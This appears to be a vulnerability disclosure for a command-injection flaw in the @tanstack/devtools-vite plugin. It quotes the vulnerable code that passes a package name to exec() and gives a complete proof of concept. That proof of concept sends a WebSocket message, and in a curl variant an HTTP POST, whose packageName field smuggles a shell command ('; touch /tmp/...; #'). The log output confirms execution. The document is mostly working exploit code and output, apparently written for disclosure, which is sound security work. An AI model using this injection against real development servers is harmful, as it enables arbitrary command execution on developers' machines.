npm install -D ${packageName}
pnpm add -D ${packageName}
yarn add -D ${packageName}
bun add -D ${packageName}

packages/devtools-vite/src/plugin.ts
packages/devtools-vite/src/package-manager.ts
packages/devtools-event-bus/src/server/server.ts

const preferredPort = args?.eventBusConfig?.port ?? 4206
const serverHost =
  typeof server.config.server.host === 'string'
    ? server.config.server.host
    : 'localhost'

const bus = new ServerEventBus({
  ...args?.eventBusConfig,
  port: preferredPort,
  host: serverHost,
})

devtoolsPort = await bus.start()

devtoolsEventClient.on('install-devtools', async (event) => {
  const result = await installPackage(event.payload.packageName)
  ...
})

devtoolsEventClient.on('bump-package-version', async (event) => {
  const { packageName, minVersion } = event.payload
  const packageWithVersion = minVersion
    ? `${packageName}@^${minVersion}`
    : packageName

  const result = await installPackage(packageWithVersion)
  ...
})

const getInstallCommand = (
  packageManager: string,
  packageName: string,
): string => {
  switch (packageManager) {
    case 'yarn':
      return `yarn add -D ${packageName}`
    case 'pnpm':
      return `pnpm add -D ${packageName}`
    case 'bun':
      return `bun add -D ${packageName}`
    case 'npm':
    default:
      return `npm install -D ${packageName}`
  }
}

export const installPackage = async (packageName: string) => {
  ...
  const installCommand = getInstallCommand(packageManager, packageName)
  ...
  exec(installCommand, async (installError) => {
    ...
  })
}

ws.on('message', (msg) => {
  const data = parseWithBigInt(msg.toString())
  this.emitToServer(data)
})

rm -rf /tmp/tanstack-devtools-vite-poc
mkdir /tmp/tanstack-devtools-vite-poc
cd /tmp/tanstack-devtools-vite-poc

npm init -y >/dev/null
npm install vite @tanstack/[email protected] >/dev/null

cat > vite.config.mjs <<'JS'
import { defineConfig } from 'vite';
import { devtools } from '@tanstack/devtools-vite';

export default defineConfig({
  plugins: [
    ...devtools({
      logging: false,
    }),
  ],
});
JS

cat > index.html <<'HTML'
<div id="app">tanstack devtools vite poc</div>
<script type="module" src="/src/main.js"></script>
HTML

mkdir -p src
cat > src/main.js <<'JS'
console.log('tanstack devtools vite poc');
JS

rm -f /tmp/tanstack-devtools-vite-pwn

NODE_ENV=development npx vite --host localhost --port 5173 > /tmp/tanstack-vite.log 2>&1 &
VITE_PID=$!
sleep 2

node --input-type=module <<'JS'
import { WebSocket } from 'ws';

const ws = new WebSocket('ws://localhost:4206/__devtools/ws');

ws.on('open', () => {
  ws.send(JSON.stringify({
    type: 'tanstack-devtools-core:install-devtools',
    pluginId: 'tanstack-devtools-core',
    payload: {
      packageName: 'definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #',
      pluginName: 'PocPlugin',
      pluginImport: {
        importName: 'PocPlugin',
        type: 'jsx'
      }
    }
  }));

  setTimeout(() => ws.close(), 500);
});

setTimeout(() => process.exit(0), 1500);
JS

sleep 5

test -f /tmp/tanstack-devtools-vite-pwn && echo "VULNERABLE: marker created"

kill "$VITE_PID" 2>/dev/null || true
sed -n '1,80p' /tmp/tanstack-vite.log

VULNERABLE: marker created

[@tanstack/devtools-vite] Installing definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #...
[@tanstack/devtools-vite] Successfully installed definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #
[@tanstack/devtools-vite] Auto-adding definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; # to devtools...
[@tanstack/devtools-vite] Could not add plugin. Devtools file not found.

curl -X POST http://localhost:4206/__devtools/send \
  -H 'Content-Type: application/json' \
  --data '{"type":"tanstack-devtools-core:install-devtools","pluginId":"tanstack-devtools-core","payload":{"packageName":"x; touch /tmp/tanstack-devtools-vite-pwn; #","pluginName":"PocPlugin","pluginImport":{"importName":"PocPlugin","type":"jsx"}}}'